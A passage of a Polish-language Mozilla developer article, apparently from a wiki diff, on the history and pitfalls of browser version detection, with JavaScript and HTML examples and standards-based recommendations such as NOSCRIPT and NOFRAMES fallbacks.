+</p><p>By pozostać zgodnym z Gecko wystarczy trzymać się standardów. Niestety żadna z innych przeglądarek nie jest tak zgodna ze standardami jak Gecko, co oznacza że twórcy serwisów sieciowych nadal zmuszeni są zapewniać ich użytkownikom odpowiednie wsparcie. Na szczęście inne przeglądarki, jak Opera 7/8 i w mniejszym stopniu Internet Explorer 5/6 pod Windows i Internet Explorer 5 pod Macintosha, również częściowo wspierają sieciowe standardy. Widoczny jest ruch producentów przeglądarek w stronę pełnego i ścisłego wspierania standardów i jest nadzieja na to, że w przyszłości twórcy stron będą mogli zrezygnować z technik wykrywania wersji, przynajmniej w odniesieniu do funkcji obejmowanych przez standard.
+</p><p>Cały czas zmierzamy się z pytaniem w jaki sposób tworzyć zgodną ze standardami zawartość, nie rezygnując jednocześnie ze wsparcia dla innych implementacji zarówno nowszych, jak i starszych przeglądarek. Wykrywanie wersji jest odpowiedzią na to pytanie.
+</p>
+<h3 id="Szczypta_historii" name="Szczypta_historii"> Szczypta historii </h3>
+<p>By zrozumieć dlaczego wiele popularnych sposobów wykrywania wersji przeglądarki jest nieprawidłowa, musimy przyjrzeć się ich genezie.
+</p><p>W początkowych czasach sieci WWW <a class="external" href="http://www.w3.org/MarkUp/">język HTML</a> był bardzo prosty, nie ustandaryzowany i nie posiadał wsparcia dla skryptów po stronie użytkownika. HTML nie był obejmowany żadnym standardem aż do przedstawienia języka HTML 2.0 pod koniec roku 1995. Wersja ta jednak nie umożliwiała nawet umieszczania w treści strony tabel. Producenci przeglądarek, tacy jak Netscape, czy Microsoft, prześcigali się więc w dodawaniu nowych <i>funkcjonalności</i> do języka HTML interpretowanego przez ich produkty. Celem ich było zwiększenie atrakcyjności przeglądanych stron i zachęcenie twórców stron do korzystania z rozszerzonych funkcji. Jakość wyświetlania najnowszych stron przez przeglądarki zwiększała się praktycznie z dnia na dzień.
+</p><p>Twórcy stron od samego początku musieli zmierzyć się z różnorodnością dostępnych przeglądarek. Niektóre z nich wspierały najnowsze i najważniejsze wersje HTML-a, a niektóre nie. Problem ten rozwiązać można na dwa sposoby. Można tworzyć strony wykorzystując wspólny dla wszystkich przeglądarek zakres implementowanych funkcji, albo skorzystać z metod wykrywania wersji przeglądarki od strony serwera i wysyłać do klientów wersje stron przygotowane specjalnie dla specyficznych możliwości przeglądarki użytkownika. Tak narodziła się technika wykrywania przeglądarki na podstawie ciągu User-Agent.
+</p><p>Ciągi User-Agent przesyłane są przez protokół HTTP dzięki czemu stają się dostępne dla serwerów sieciowych (zobacz dokumenty <a class="external" href="http://tools.ietf.org/html/rfc1945" title="http://tools.ietf.org/html/rfc1945">RFC 1945</a> - Hypertext Transfer Protocol 1.0 i <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a> - Hypertext Transfer Protocol 1.1).
+</p><p>Najpopularniejszym w tamtym czasie podejściem było rozróżnienie przeglądarek na podstawie <i>dystrybutora</i> i <i>wersji</i> przeglądarki (które to dane wyciągano z ciągu User-Agent). Chociaż metoda ta uznawana była wówczas za całkiem skuteczną, sprawiała problemy producentom przeglądarek już od samego początku. Oryginalne przeglądarki Netscape używały ciągu User-Agent składającego się z nazwy kodowej i numeru wersji, np. <code>Mozilla/wersja</code>, po których następował komentarz zawierający dodatkowe informacje, np. o używanym systemie operacyjnym. Poczynając od najwcześniejszych technik wykrywania wersji opierały się one na rozpoznawaniu przeglądarek opartych na Netscape posiadających identyfikator o postaci <code>Mozilla/wersja</code>. Pozostali producenci dostosowali się więc do tej konwencji kodowania ciągu User-Agent, określając z jaką wersją przeglądarki Netscape ich produkt jest kompatybilny. To <i>podszywanie się</i> innych przeglądarek pod określone wersje Netscape i brak standardu zapisu dodatkowych informacji w polu komentarza ciągu User-Agent spowodowało, że wykrywanie wersji przeglądarki stało się zadaniem o wiele bardziej skomplikowanym niż powinno być.
+</p><p>Druga wersja Netscape Navigatora wprowadziła możliwość uruchamiania po stronie klienta JavaScriptu. W miarę rozwoju pojawiły się różnice w obsłudze skryptów i obiektów udostępnianych przez przeglądarki. Tym samym webmasterzy przestali być ograniczeni wykrywaniem wersji przeglądarki od strony serwera i mogli zacząć wykorzystywać skrypty uruchamiane w samej przeglądarce. Jedną najwcześniejszych metod wykrywania wersji przeglądarki po stronie klienta było sprawdzanie istnienia określonych <i>obiektów</i>. Przykładem takiego podejścia jest test istnienia obiektu <code>document.images</code>.
+</p><p>Chociaż <i>wykrywanie funkcjonalności za pomocą obiektów</i> było używane w niektórych przypadkach, wielu webmasterów pozostało przy metodzie rozpoznawania za pomocą znacznika <i>dystrybutor/wersja</i> w ciągu User-Agent. Ponieważ ciąg User-Agent dostępny był po stronie klienta jako właściwość obiektu <code>navigator</code> (np. <code>navigator.userAgent</code>), wielu twórców stron użyło tego samego podejścia co przy wykrywaniu wersji przeglądarki po stronie serwera. Dodatkowo dostępne były inne zmienne obiektu <code>navigator</code>, jak <code>appName</code>, czy <code>appVersion</code>, które mogły zostać wykorzystane w podobny sposób jak ciąg <i>dystrybutor/wersja</i>.
+</p><p>Klasyczny przykład wykorzystania techniki wykrywania za pomocą ciągu <i>dystrybutor/wersja</i> można znaleźć w dokumencie <a class="external" href="http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html">Ultimate Browser Sniffer</a>. Skrypt ten, jak i jego warianty można znaleźć dzisiaj na wielu stronach internetowych, gdzie stał się typowym źródłem problemów w wykrywaniu wersji przeglądarki.
+</p><p>W przeglądarkach Netscape Navigator 4 i Internet Explorer 4 wprowadzono możliwość manipulowania treścią strony bezpośrednio po stronie klienta (Dynamiczny HTML/<a href="pl/DHTML">DHTML</a>) i rozpoczęto implementację arkuszy stylów <a href="pl/CSS">CSS</a>. Ta generacja przeglądarek, oprócz wielu wspólnych cech, które nie były dostępne w poprzednich wersjach, zaimplementowały niekompatybilne ze sobą metody manipulowania treścią strony.
+</p><p>Jako że każdy z producentów przeglądarek w inny sposób zaimplementował DHTML, twórcy stron zaczęli używać wykrywania obiektów Javascriptu, by określić dystrybutora i wersję przeglądarki. Obecność obiektu <code>document.layers</code> była wystarczającą informacją, by określić, że używaną przeglądarką jest Netscape Navigator 4, podczas gdy istnienie <code>document.all</code> było charakterystyczne dla przeglądarki Microsoft Internet Explorer 4. Metoda ta opierała się na (błędnym zresztą) założeniu, że istnieją tylko dwie przeglądarki: Netscape Navigator i Microsoft Internet Explorer.
+</p><p>Strategie klasyfikowania przeglądarki na podstawie ciągu <i>dystrybutor/wersja</i>, zakładające że jedynymi istniejącymi przeglądarkami są Netscape Navigator 4 i Internet Explorer 4 okazały się całkowicie nieskuteczne, gdy na rynku pojawiły się alternatywne rozwiązania, jak np. przeglądarki oparte na silniku Gecko. Wiele odnotowywanych w prasie "problemów" z wyświetlaniem treści jakie posiadał silnik Gecko wynikały z błędnych metod wykrywania używanych na serwerach.
+</p><p>Ostatnie już słowo o technice opartej na ciągu <i>dystrybutor/wersja</i>. Zastosowanie na stronach technik opisanych w dokumencie <a class="external" href="http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html">Ultimate Browser Sniffer</a> spowoduje konieczność uwzględnienia różnic dla wielu wersji przeglądarek. Wyobraź sobie zarządzanie stroną, która korzysta z wielu zmiennych udostępnianych przez skrypt <i>Ultimate Browser Sniffer</i>.
+</p>
+<table> <tbody><tr> <td>dystrybutor przeglądarki</td> <td>is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV</td> </tr> <tr> <td>numer wersji przeglądarki</td> <td>is_major (liczba całkowita określająca główny numer wersji: 2, 3, 4 ...), is_minor (liczba rzeczywista określająca pełny numer wersji: 2.02, 3.01, 4.04 ...)</td> </tr> <tr> <td>dystrybutor przeglądarki <b>i</b> główny numer wersji</td> <td>is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up</td> </tr> <tr> <td>numer wersji JavaScriptu</td> <td>is_js (liczba rzeczywista określająca pełny numer wersji JavaScriptu: 1, 1.1, 1.2 ...)</td> </tr> <tr> <td>system operacyjny i wersja</td> <td>is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k, is_os2, is_mac, is_mac68k, is_macppc, is_unix, is_sun, is_sun4, is_sun5, is_suni86, is_irix, is_irix5, is_irix6, is_hpux, is_hpux9, is_hpux10, is_aix, is_aix1, is_aix2, is_aix3, is_aix4, is_linux, is_sco, is_unixware, is_mpras, is_reliant, is_dec, is_sinix, is_freebsd, is_bsd, is_vms</td> </tr>
+</tbody></table>
+<p><b>Wykrywanie wersji przeglądarki na podstawie tego poziomu detali jest bardzo trudne do zaimplementowania i utrzymywania. Narusza również podstawowe zasady publikacji w sieci!</b> Gorąco zachęcam wszystkich do unikania tych metod.
+</p>
+<h3 id="Problemy_wynikaj.C4.85ce_z_nieprawid.C5.82owego_wykrycia_wersji" name="Problemy_wynikaj.C4.85ce_z_nieprawid.C5.82owego_wykrycia_wersji"> Problemy wynikające z nieprawidłowego wykrycia wersji </h3>
+<h4 id="Wykluczanie_nieznanych_przegl.C4.85darek" name="Wykluczanie_nieznanych_przegl.C4.85darek"> Wykluczanie nieznanych przeglądarek </h4>
+<p>Jeżeli Twój kod będzie próbował wykrywać tylko określone przeglądarki, Twoja strona będzie bezużyteczna jeżeli odwiedzający skorzysta z innej. Rozważmy następujący przykład:
+</p><p><code>
+</code></p>
+<pre>// Z�?E PODEJŚCIE - nie używać!
+if (document.all)
+{
+// Internet Explorer 4+
+document.write('&lt;link rel="stylesheet" type="text/css" src="style-ie.css"&gt;');
+}
+else if (document.layers)
+{
+// Navigator 4
+document.write('&lt;link rel="stylesheet" type="text/css" src="style-nn.css"&gt;');
+}
+</pre>
+<p>
+Powyższy przykład dostarcza arkusz stylów tylko dla Internet Explorera i Navigatora 4 i to tylko w przypadkach, gdy włączona została obsługa JavaScript. Netscape 6, Netscape 7, CompuServe 7, Mozilla, czy Opera nie będą w stanie prawidłowo wyświetlić strony.
+</p>
+<h4 id="B.C5.82.C4.99dna_identyfikacja_przegl.C4.85darki" name="B.C5.82.C4.99dna_identyfikacja_przegl.C4.85darki"> Błędna identyfikacja przeglądarki </h4>
+<p>Częstym błędem jaki popełniają autorzy stron jest założenie, że gdy przeglądarka nie jest Netscape Navigatorem 4 to musi być Internet Explorerem i na odwrót. Na przykład:
+</p>
+<pre>// Z�?E PODEJŚCIE - nie używać!
+if (document.all)
+{
+ // Internet Explorer 4+
+ elm = document.all['menu'];
+}
+else
+{
+ // Załóż, że to Navigator 4
+ elm = document.layers['menu'];
+}
+</pre>
+<p>Zauważ w jaki sposób w powyższym przykładzie założono, że każda przeglądarka nie będąca Internet Explorerem jest Navigatorem 4, co oznacza że musi używać warstw (<i>layers</i>). Stanowi to typowe źródło problemów dla Opery i przeglądarek opartych na Gecko. Podobny błąd widać w kolejnym przykładzie:
+</p>
+<pre>// Z�?E PODEJŚCIE - nie używać!
+if (document.layers)
+{
+ // Navigator 4
+ elm = document.layers['menu'];
+}
+else
+{
+ // Załóż, że to Internet Explorer 4+
+ elm = document.all['menu'];
+}
+</pre>
+<p>Netscape 6 był pierwszą komercyjną przeglądarką opartą na Gecko. Z braku porozumienia i zrozumienia, wiele stron wypracowało sobie nieprawidłowe metody wykrywania wersji opierając się na identyfikatorze przeglądarki zwracanemu przez Netscape'a 6. Identyfikator <i>user-agent</i> używany przez Netscape'a 6 jest zgodny z zaleceniami standardu HTTP (zobacz <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">Identyfikator przeglądarki w Mozilli</a> i <a href="pl/Identyfikatory_przegl%c4%85darek_Gecko">Identyfikatory przeglądarek Gecko</a>).
+</p>
+<pre class="eval">Mozilla/5.0 (...) Gecko/20001108 Netscape6/6.0
+</pre>
+<p>Pierwszy ciąg dystrybutor/wersja (Mozilla/5.0) oznacza, że Netscape 6 jest przeglądarką <i>piątej</i> generacji i nie jest identyczna z wcześniejszymi. W tej chwili wszystkie przeglądarki na silniku Gecko (i tylko one) zgłaszają Mozilla/5.0 jako swoją główną wersję. Mamy nadzieję, że gdy producenci innych przeglądarek osiągną ten sam poziom zgodności ze standardem co Gecko i przestaną wspierać przestarzałe technologie, zaczną również oznaczać się wersją 5. Założenie, że tylko Gecko będzie używać oznaczenia Mozilla/5.0 zacznie powodować błędy w Twoich skryptach, gdy tylko któryś z producentów innych przeglądarek zacznie identyfikować swoje produkty jako Mozilla/5.0.
+</p><p>Drugi ciąg dystrybutor/wersja (Gecko/20001108) identyfikuje Netscape 6 jako używające wersji Gecko opublikowanej 8 listopada 2000. Jeżeli musisz wykryć Gecko używając identyfikatora <i>user-agent</i>, ciąg o postaci Gecko/CCYYMMDD jest najbardziej odpowiednim do wyszukania.
+</p><p>Trzeci ciąg dystrybutor/wersja (Netscape6/6.0) identyfikuje ten określony model przeglądarki opartej na Gecko jako Netscape 6. Wiele stron zaczęło wykorzystywać ciąg <i>Netscape6</i> do określania typu przeglądarki, używając warunku podobnego do:
+</p>
+<pre>if (navigator.userAgent.indexOf('Netscape6') != -1)
+{
+ // kod dla Netscape 6
+}
+</pre>
+<p>Ten typ identyfikacji pomija jednak każdą inną przeglądarkę opartą na Gecko. Niestety, identyfikator <i>user-agent</i> używany przez Netscape 6 nie był wystarczająco ogólny przez użycie <i>Netscape6</i> jako etykiety dystrybutora. Netscape 7 naprawił ten błąd, stwarzając jednocześnie kolejną okazję do popsucia istniejących metod wykrywania wersji.
+</p>
+<pre class="eval">Mozilla/5.0 (...) Gecko/200207XX Netscape/7.0
+</pre>
+<p>�?atwo zauważyć, że Netscape 7 nie używa już etykiety <i>Netscape6</i> do określenia dystrybutora. Metody używające ciągu <i>Netscape6</i> do wykrywania wersji nie zadziałają więc w przypadku siódmej wersji Netscape.
+</p>
+<h4 id="U.C5.BCywanie_obiekt.C3.B3w_JavaScript_do_okre.C5.9Blania_producenta_i_wersji" name="U.C5.BCywanie_obiekt.C3.B3w_JavaScript_do_okre.C5.9Blania_producenta_i_wersji"> Używanie obiektów JavaScript do określania producenta i wersji </h4>
+<p>Jak już wspomniano, typowym podejściem do wykrywania wersji było używanie obiektów do identyfikacji producenta i wersji przeglądarki. Często spotykany sposób rozpoznawania, wspierający tylko Netscape Navigatora 4 i Internet Explorera 4 wyglądał następująco:
+</p>
+<pre>// Z�?E PODEJŚCIE - nie używać!
+if (document.all)
+{
+ // IE4
+ height = document.body.offsetHeight;
+}
+else if (document.layers)
+{
+ // NN4
+ height = window.innerHeight;
+}
+else
+{
+ // pozostałe
+ height = 0;
+}
+</pre>
+<p>Wraz ze wprowadzeniem modelu obiektowego dokumentu przez W3C, standardowa metoda <code>document.getElementById</code> stała się dostępna w Internet Explorerze 5, a później również w Netscape 6 (Gecko). Wielu programistów zdecydowało się, że najłatwiejszym sposobem obsłużenia Netscape'a z silnikiem Gecko było dodanie kolejnego warunku, takiego jak ten:
+</p>
+<pre>// Z�?E PODEJŚCIE - nie używać!
+if (document.all)
+{
+ // IE4
+ height = document.body.offsetHeight;
+}
+else if (document.layers)
+{
+ // NN4
+ height = window.innerHeight;
+}
+else if (document.getElementById)
+{
+ // Wydaje im się, że to Gecko,
+ // ale mogą się mylić!
+ height = window.innerHeight;
+}
+else
+{
+ // pozostałe
+ height = 0;
+}
+</pre>
+<p>To podejście jest nieprawidłowe, bo zakłada, że jedyną przeglądarką poza Internet Explorerem w wersji 5 i wyższej, która implementuje <code>document.getElementById</code> jest Gecko. Już w tej chwili nie jest to prawdą i będzie jeszcze bardziej błędne w przyszłości, gdy więcej przeglądarek zacznie trzymać się standardu W3C dotyczącego modelu obiektowego dokumentu.
+</p>
+<h3 id="Zalecenia" name="Zalecenia"> Zalecenia </h3>
+<h4 id="Kieruj_si.C4.99_standardami.2C_nie_mo.C5.BCliwo.C5.9Bciami_przegl.C4.85darek" name="Kieruj_si.C4.99_standardami.2C_nie_mo.C5.BCliwo.C5.9Bciami_przegl.C4.85darek"> Kieruj się standardami, nie możliwościami przeglądarek </h4>
+<p>Podczas gdy lata 1994-2000 były okresem panowania niekompatybilnych ze sobą przeglądarek Netscape'a i Microsoftu, w obecnych czasach decydującym czynnikiem w rozwoju sieci WWW stały się standardy zaproponowane przez World Wide Web Consortium <a class="external" href="http://www.w3.org/">(W3C)</a>. Standardy są ważne dla twórców serwisów z wielu powodów, m.in. czynią rozwiązania bardziej elastycznymi, mają większe możliwości prezentacji treści, a zgodne z nimi strony są bardziej przyjazne dla niepełnosprawnych.
+</p><p>Projektując strony pod dyktando określonych producentów zapomina się o możliwości powstania w przyszłości innych przeglądarek opartych na standardach. Typowym problemem dzisiejszej sieci jest przekonanie, że Netscape Navigator i Microsoft Internet Explorer to jedyne przeglądarki będące w użyciu. Pomija ono istnienie <a class="external" href="http://www.opera.com">Opery</a>, jak i urządzeń przenośnych, z których coraz częściej korzysta się przy przeglądaniu zasobów WWW.
+</p><p><i>Przełączanie DOCTYPE</i> jest techniką używaną w <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/">Netscape'ie wersji 6 i wyższych</a>, <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnie60/html/cssenhancements.asp">Internet Explorerze 6</a> pod Windows i Internet Explorerze 5 pod Macintosha. Dzięki niej przeglądarki te potrafią przełączyć się z trybu zgodności wstecznej (ang. <i>quirks mode</i>), który symuluje błędne implementacje przeglądarek poprzedniej generacji, w tryb standardów (ang. <i>standards mode</i>). Nowe strony polecamy oznaczać za pomocą DOCTYPE, co spowoduje uruchomienie trybu standardów w przeglądarkach Gecko i Internet Explorerze 6. W ten sposób możesz być pewny, że Twój projekt będzie wyglądał podobnie zarówno w tych przeglądarkach, jak i w każdej innej trzymającej się standardów.
+</p>
+<h4 id="Zapewniaj_wsparcie_nieznanym_przegl.C4.85darkom" name="Zapewniaj_wsparcie_nieznanym_przegl.C4.85darkom"> Zapewniaj wsparcie nieznanym przeglądarkom </h4>
+<p>Zawsze przygotowuj wersję zawartości i skryptów serwisu przeznaczoną dla nieznanych przeglądarek. Spokojnie można założyć, że nieznana przeglądarka zachowuje podstawowe standardy dotyczące HTML i CSS, a do pewnego stopnia również JavaScript i model obiektowy dokumentu W3C. Zapewni to używalność tak przygotowanej treści zarówno dzisiaj, jak i w przyszłości na <b>każdej</b> przeglądarce zgodnej ze standardami.
+</p>
+<h4 id="Ogranicz_u.C5.BCycie_funkcji_specyficznych_dla_okre.C5.9Blonych_typ.C3.B3w.2Fwersji_przegl.C4.85darek" name="Ogranicz_u.C5.BCycie_funkcji_specyficznych_dla_okre.C5.9Blonych_typ.C3.B3w.2Fwersji_przegl.C4.85darek"> Ogranicz użycie funkcji specyficznych dla określonych typów/wersji przeglądarek </h4>
+<p>Publikacja treści zgodnej ze standardami jest najłatwiejszym sposobem na obsłużenie szerokiej gamy dostępnych przeglądarek przy jednoczesnym zmniejszeniu kosztów utrzymania. Chociaż nie zawsze jest możliwe uniknięcie problemów wynikających z różnic w funkcjonowaniu przeglądarek, korzystanie ze specyficznych własności przeglądarek i ich identyfikacja na podstawie producenta lub wersji powinno być ograniczone do minimum.
+</p>
+<h4 id="Ogranicz_wykrywanie_wersji_oparte_na_ci.C4.85gu_User-Agent" name="Ogranicz_wykrywanie_wersji_oparte_na_ci.C4.85gu_User-Agent"> Ogranicz wykrywanie wersji oparte na ciągu <i>User-Agent</i> </h4>
+<p>Wykrycie przeglądarki od strony serwera wymaga sprawdzenia ciągu <i>User-Agent</i>. Zalecamy, by korzystanie z tej metody było ograniczone wyłącznie do wykrywania wersji po stronie serwera i przy rozwiązywaniu specyficznych problemów, jak rozróżnianie dokładnych wersji użytego silnika Gecko.
+</p><p>Jednakże istnieją uzasadnione powody użycia ciągu <i>User-Agent</i> (lub obiektu <i>navigator</i>) do wykrywania dokładnej wersji, producenta i systemu operacyjnego używanej przeglądarki. Wiele serwisów finansowych (banki, firmy maklerskie, itp.) ustala bardzo ścisłe ograniczenia dotyczące obsługiwanych przeglądarek. Powodem są starsze przeglądarki, które mają długą historię błędów w zabezpieczeniach. Jeżeli więc musisz ograniczyć listę dozwolonych przeglądarek, za pomocą których można bezpiecznie korzystać z Twojego serwisu, użycie ciągu <i>User-Agent</i> i podobnych informacji z obiektu <i>navigator</i> jest jak najbardziej na miejscu.
+</p><p>Dzięki dokładnym danym o wersji przeglądarki można również poradzić sobie z niektórymi błędami w implementacji. To jednak bardzo szybko może stać się koszmarem dla nieuważnego webmaster. Radzimy więc stosowanie tej metody tylko w doraźnych przypadkach. Gdy błąd zostanie naprawiony w nowej wersji, najlepsze co można zrobić, to zachęcać odwiedzających do aktualizacji.
+</p>
+<h4 id="Stw.C3.B3rz_skromniejsze_wersje_stron_dla_starszych_przegl.C4.85darek" name="Stw.C3.B3rz_skromniejsze_wersje_stron_dla_starszych_przegl.C4.85darek"> Stwórz skromniejsze wersje stron dla starszych przeglądarek </h4>
+<p>Obecnie żaden z komercyjnych serwisów nie czuje konieczności obsługiwania Netscape Navigatora w wersji 1, 2 i 3 lub Internet Explorera 3. Powodem są małe, w porównaniu do współczesnych rozwiązań, możliwości tych przeglądarek. Pieniądze przeznaczone na zapewnienie wsparcia dla starych przeglądarek nie miałyby szansy się zwrócić - ich wykorzystanie jest znikome, a koszt rozwoju i kontroli jakości jest zbyt wysoki.
+</p><p>Jedną z ważniejszych decyzji jakie możesz podjąć w celu poprawienia jakości Twojego serwisu i zmniejszenia kosztów rozwoju, utrzymania i testów jest zerwanie z pełnym wsparciem dla przeglądarek takich jak Netscape Navigator 4 i Internet Explorer 4. Duże serwisy często decydują się na stworzenie uboższej wersji dla starszych przeglądarek obok wersji znacznie bogatszej, korzystającej z zaawansowanych technologii CSS i JavaScript. Można to osiągnąć poprzez wykrywanie wersji od strony serwera jako integracyjną część skryptów strony, albo jako wewnętrzną funkcjonalność serwera http, który potrafi rozdzielać zawartość pomiędzy użytkowników różnych przeglądarek. To podejście niekoniecznie zmusza Cię do wcześniejszego przygotowania dwóch wersji stron, dla nowszych i starszych przeglądarek. Typowym podejściem jest zawarcie treści w neutralnym formacie, np. w XMLu, a do generowania kodu HTML użycie XSLT.
+</p><p>Decyzja, czy przygotowywać dla danej przeglądarki skromniejszą wersję serwisu, zależy od stopnia skomplikowania używanych na stronach CSS i JavaScript. Netscape Navigator 4 i Internet Explorer 4 są przeglądarkami, którym w większości przypadków powinna być podawana uboższa wersja stron, ponieważ ich implementacja CSS i nowszych wersji standardu DOM pozostawia wiele do życzenia. Jeżeli korzystasz z zaawansowanego JavaScriptu, który manipuluje lub tworzy nową zawartość opierając się na modelu obiektowym dokumentu W3C, wtedy również Opera 5 i 6 powinny zostać dołączone do grupy przeglądarek, którym serwuje się skromniejszą wersję serwisu.
+</p><p>Przyszłość należy do tych projektantów i przeglądarek, które wspierają standardy. Jeżeli przegapisz okazję, by skorzystać ze zmiany jakiej dokonuje się na polu przeglądarek, konkurencja dopadnie Cię bardzo szybko. A gdy to już się stanie, jedynym właściwym miejscem dla Twojej strony będzie <a class="external" href="http://web.archive.org">sieciowe archiwum</a>.
+</p>
+<h4 id="Tam.2C_gdzie_to_mo.C5.BCliwe.2C_korzystaj_z_nie-skryptowych_metod_wykrywania" name="Tam.2C_gdzie_to_mo.C5.BCliwe.2C_korzystaj_z_nie-skryptowych_metod_wykrywania"> Tam, gdzie to możliwe, korzystaj z nie-skryptowych metod wykrywania </h4>
+<p>Starsze przeglądarki mają wiele ograniczeń, przez które ignorują one bardziej zaawansowaną treść. Rozsądnie wykorzystując te ograniczenia możliwe jest korzystanie z nowych technologii jednocześnie zachowując kompatybilność ze starszymi przeglądarkami.
+</p><p>HTML posiada kilka metod przydatnych w wykrywaniu określonych możliwości przeglądarki, jak interpretacja skryptów, czy ramek. Warto użyć tych naturalnych możliwości HTMLa, by poszerzyć zakres obsługiwanych przeglądarek.
+</p>
+<h4 id="U.C5.BCywanie_NOFRAMES_dla_przegl.C4.85darek_nie_rozumiej.C4.85cych_ramek" name="U.C5.BCywanie_NOFRAMES_dla_przegl.C4.85darek_nie_rozumiej.C4.85cych_ramek"> Używanie NOFRAMES dla przeglądarek nie rozumiejących ramek </h4>
+<pre>&lt;HTML&gt;
+ &lt;HEAD&gt;
+ &lt;TITLE&gt;RAMKI&lt;/TITLE&gt;
+ &lt;/HEAD&gt;
+ &lt;FRAMESET ROWS="30,*"&gt;
+ &lt;FRAME SRC="to.html"&gt;
+ &lt;FRAME SRC="tamto.html"&gt;
+ &lt;NOFRAMES&gt;
+ &lt;BODY&gt;
+ &lt;P&gt;
+ Ta strona wymaga ramek. Obejrzyj &lt;a href="bezramek.html"&gt;mapę serwisu&lt;/a&gt;.
+ &lt;/P&gt;
+ &lt;/BODY&gt;
+ &lt;/NOFRAMES&gt;
+ &lt;/FRAMESET&gt;
+&lt;/HTML&gt;
+</pre>
+<h4 id="U.C5.BCywanie_NOSCRIPT_dla_przegl.C4.85darek_nie_posiadaj.C4.85cych_wsparcia_dla_skrypt.C3.B3w" name="U.C5.BCywanie_NOSCRIPT_dla_przegl.C4.85darek_nie_posiadaj.C4.85cych_wsparcia_dla_skrypt.C3.B3w"> Używanie NOSCRIPT dla przeglądarek nie posiadających wsparcia dla skryptów </h4>
+<p>Niektóre przeglądarki nie potrafią obsługiwać skryptów, niektórzy zaś użytkownicy celowo wyłączają ich obsługę w swoich przeglądarkach. Użycie znacznika NOSCRIPT pozwala udostępnić im nieoskryptowane wersje stron lub przynajmniej poinformować, że obsługa skryptów jest niezbędna w poprawnym przeglądaniu treści serwisu.
+</p><p>Ponieważ przeglądarki takie jak Navigator 4 i Internet Explorer 4 nie obsługują jednych z najnowszych dodatków do standardu JavaScript (ECMAScript), często trzeba zrezygnować z użycia zaawansowanych funkcji JavaScript, jak np. obsługa wyjątków. Jednym z możliwych sposobów radzenia sobie z tym problemem jest wymaganie od użytkowników przeglądarek, które nie implementują JavaScriptów w wystarczającym dla Ciebie stopniu, by całkowicie <b>wyłączyli</b> JavaScript, a dopiero wtedy będą mogli przeglądać treść strony. Możesz tego dokonać przygotowując stosowną informację dla użytkowników starych przeglądarek wraz z alternatywną treścią zamkniętą w znacznikach NOSCRIPT.
+</p>
+<pre>&lt;HTML&gt;
+ &lt;HEAD&gt;
+ &lt;TITLE&gt;NOSCRIPT&lt;/TITLE&gt;
+ &lt;/HEAD&gt;
+ &lt;BODY&gt;
+ &lt;SCRIPT LANGUAGE="JavaScript"&gt;
+ window.onerror = function ()
+ {
+ // Przekieruj użytkownika na stronę wyjaśniającą
+ // ograniczenia jego przeglądarki i zalecającą
+ // wyłączenie JavaScript w celu obejrzenia serwisu.
+ }
+
+ // Netscape Navigator 4 wywoła błąd napotykając
+ // na dowolny kod, który używa obsługi wyjątków
+ // poprzez bloki try ... catch
+ try
+ {
+ // Kod implementujący oszałamiające menu
+ }
+ catch (errors)
+ {
+ // obsłuż wyjątki
+ }
+ &lt;/SCRIPT&gt;
+ &lt;NOSCRIPT&gt;
+ &lt;!--
+ Jeżeli JavaScript nie jest włączony, wtedy
+ przeglądarka wyświetli zawartości zamkniętą w
+ znacznikach NOSCRIPT, która w tym przypadku jest
+ prostym menu zaimplementowanym jako lista
+ nieuporządkowana.
+ --&gt;
+ &lt;UL&gt;
+ &lt;LI&gt;&lt;A HREF="wybor1.html"&gt;Wybór1&lt;/A&gt;&lt;/LI&gt;
+ &lt;LI&gt;&lt;A HREF="wybor2.html"&gt;Wybór2&lt;/A&gt;&lt;/LI&gt;
+ &lt;/UL&gt;
+ &lt;/NOSCRIPT&gt;
+ &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+<h4 id="U.C5.BCywanie_atrybutu_LANGUAGE_do_okre.C5.9Blenia_miejsca_uruchomienia_skryptu" name="U.C5.BCywanie_atrybutu_LANGUAGE_do_okre.C5.9Blenia_miejsca_uruchomienia_skryptu"> Używanie atrybutu LANGUAGE do określenia miejsca uruchomienia skryptu </h4>
+<p>Wybór języka skryptowego określa się za pomocą atrybutu LANGUAGE znacznika SCRIPT. Internet Explorer w wersji 4 i wyższych obsługuje kilka różnych języków skryptowych. Najbardziej popularnymi są <i>VBSCRIPT</i> i <i>JavaScript</i>. Internet Explorer używa również <i>JSCRIPT</i> jako synonimu JavaScriptu. Jako, że inne przeglądarki nie rozpoznają języków <i>VBSCRIPT</i> i <i>JSCRIPT</i> możesz ich użyć do uruchomienia kodu przeznaczonego dla Internet Explorera w wersji 4 i wyższych.
+</p>
+<pre>&lt;HTML&gt;
+ &lt;HEAD&gt;
+ &lt;TITLE&gt;Atrybut języka w SCRIPT&lt;/TITLE&gt;
+ &lt;/HEAD&gt;
+ &lt;BODY&gt;
+ &lt;SCRIPT LANGUAGE="JavaScript"&gt;
+ // Kod JavaScriptu implementujący oszałamiające
+ // menu widoczny dla wszystkich przeglądarek
+ // obsługujących JavaScript.
+ &lt;/SCRIPT&gt;
+ &lt;SCRIPT LANGUAGE="JScript"&gt;
+ // Kod JavaScriptu używający funkcji specyficznych
+ // dla Internet Explorera, niedostępnych w innych
+ // przeglądarkach.
+ &lt;/SCRIPT&gt;
+ &lt;SCRIPT LANGUAGE="VBScript"&gt;
+ // Kod VBScriptu używający funkcji specyficznych
+ // dla Internet Explorera, niedostępnych w innych
+ // przeglądarkach.
+ &lt;/SCRIPT&gt;
+ &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
